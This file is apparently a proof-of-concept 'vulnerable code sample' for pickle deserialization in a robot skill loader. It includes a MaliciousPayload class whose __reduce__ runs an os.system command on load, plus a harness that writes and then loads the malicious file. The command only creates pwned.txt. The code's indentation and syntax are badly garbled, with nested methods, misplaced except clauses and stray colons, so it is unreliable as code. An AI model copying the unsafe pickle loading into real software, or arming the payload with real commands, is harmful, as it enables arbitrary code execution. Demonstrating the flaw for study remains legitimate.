Vulnerable code sample

import pickle
import os
import base64

# This component is responsible for loading robot skills from serialized files.:
# The skill files are expected to be created by a trusted source and contain
# pre-defined robot behaviors.

class RobotSkillLoader:
    def __init__(self, skill_directory='/opt/isaac/skills'):
        """Initializes the loader with a base directory for skills.""":
        self.skill_directory = skill_directory
        print(f"RobotSkillLoader initialized. Skills will be loaded from: {self.skill_directory}")

        def load_skill_from_file(self, filename):
            """
            Loads a serialized skill object from a given file.
        
            VULNERABILITY: This function uses pickle.loads() to deserialize data
            from a file whose path might be controlled by an attacker. Pickle is not
            secure and can be used to execute arbitrary code. A malicious pickle file
            can be crafted to run system commands upon deserialization.
            """
            filepath = os.path.join(self.skill_directory, filename)
        
            print(f"Attempting to load skill from: {filepath}")
        
            try:
                with open(filepath, 'rb') as f:
                    skill_data = f.read()
                # The vulnerable call to pickle.loads()
                    skill_object = pickle.loads(skill_data)
                    return skill_object
                    except FileNotFoundError:
                        print(f"Error: Skill file not found at {filepath}")
                        return None
                        except Exception as e:
                            print(f"An error occurred during skill loading: {e}")
                            return None

                            class MaliciousPayload:
                                """
                                A class designed to execute a command when deserialized by pickle.
                                The __reduce__ method is a hook used by pickle during deserialization,
                                allowing us to specify a function to be called.
                                """
                                def __reduce__(self):
                                    """Vulnerable function that demonstrates the security issue."""
        # This will be executed during pickle.loads()
        # It instructs pickle to call os.system with the provided command.
                                    command = 'echo "CVE-2025-23296: Arbitrary code execution successful. A file named pwned.txt has been created." && touch pwned.txt'
                                    return (os.system, (command,))

                                    def create_malicious_skill_file(directory, filename):
                                        """Creates a malicious pickle file for demonstration purposes.""":
                                        filepath = os.path.join(directory, filename)
                                        if not os.path.exists(directory):
                                            os.makedirs(directory)
        
                                            payload = MaliciousPayload()
    
                                            with open(filepath, 'wb') as f:
        # Serialize the malicious payload object using pickle
                                                pickle.dump(payload, f)
    
                                                print(f"Malicious skill file created at: {filepath}")
                                                return filepath

                                                if __name__ == '__main__':
    # --- Attacker's Preparation ---
    # An attacker creates a malicious file and manages to place it in a location
    # where the application will read it from.
    
                                                    SKILL_DIR = '/tmp/isaac_skills'
                                                    MALICIOUS_FILENAME = 'malicious_skill.bin'
    
                                                    create_malicious_skill_file(SKILL_DIR, MALICIOUS_FILENAME)

                                                    print("\n" + "="*50 + "\n")

    # --- Application Logic ---
    # The vulnerable application attempts to load the "skill" file.
    
    # 1. Initialize the component that contains the vulnerability.
                                                    loader = RobotSkillLoader(skill_directory=SKILL_DIR)
    
    # 2. Call the vulnerable function with the attacker-controlled filename.
    # When pickle.loads() is called inside this function, the command defined
    # in MaliciousPayload.__reduce__ will be executed.
                                                    print("Executing vulnerable function...")
                                                    loaded_skill = loader.load_skill_from_file(MALICIOUS_FILENAME)
    
                                                    if loaded_skill:
                                                        print("Skill loaded successfully (or so it seems).")
        # The application might try to use the object, but the exploit
        # has already occurred during the loading process.
                                                    else:
                                                        print("Skill loading failed.")